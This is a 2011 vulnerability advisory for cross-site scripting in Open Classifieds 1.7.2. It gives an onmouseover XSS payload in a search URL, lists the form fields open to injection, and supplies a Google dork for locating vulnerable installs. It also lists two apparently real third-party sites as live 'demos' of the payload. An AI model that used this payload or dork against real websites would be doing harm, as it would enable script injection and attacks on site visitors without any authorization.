Open Classifieds 1.7.2 Cross Site Scripting

`--------------------------------------------------------------------  
[+] Title : Open classifieds 1.7.2 Xss Vulnerability  
[+] Name : Open classifieds  
[+] Affected Version : v1.7.2  
[+] Software Link : http://open-classifieds.com/  
[+] Tested on : Vista & Windows Xp and Windows 7  
[+] Date : 23/08/2011  
[+] Dork : "inurl:/publish-a-new-ad.htm" #45 Pages of google results  
[+] Category : Webapps  
[+] Severity : Medium  
[+] Author : Yassin Aboukir  
[+] Contact : [email protected]  
[+] Site : http://www.yaboukir.com  
--------------------------------------------------------------------  
  
[+] Description : Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables attackers to inject client-side script into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.  
  
[+] How to exploit :  
  
# -- http://localhost/oc172/?s="+onmouseover=alert(408852135615)+  
Move the mouse cursor to search forumle, then an alert window will show up.  
  
# --  
1- Go to http://localhost/publish-a-new-ad.htm  
2- name & email & place & price & title are vulnerable to Xss, so that the attacker may inejct malicious scripts.  
  
[+] Fix : upgrade to last release.  
  
[+] Demos :   
http://www.thatdamnedbike.com/oc172/?s="+onmouseover=alert(408852135615)+  
http://www.estudiowebcreativo.com/oc172/?s="+onmouseover=alert(408852135615)+  
`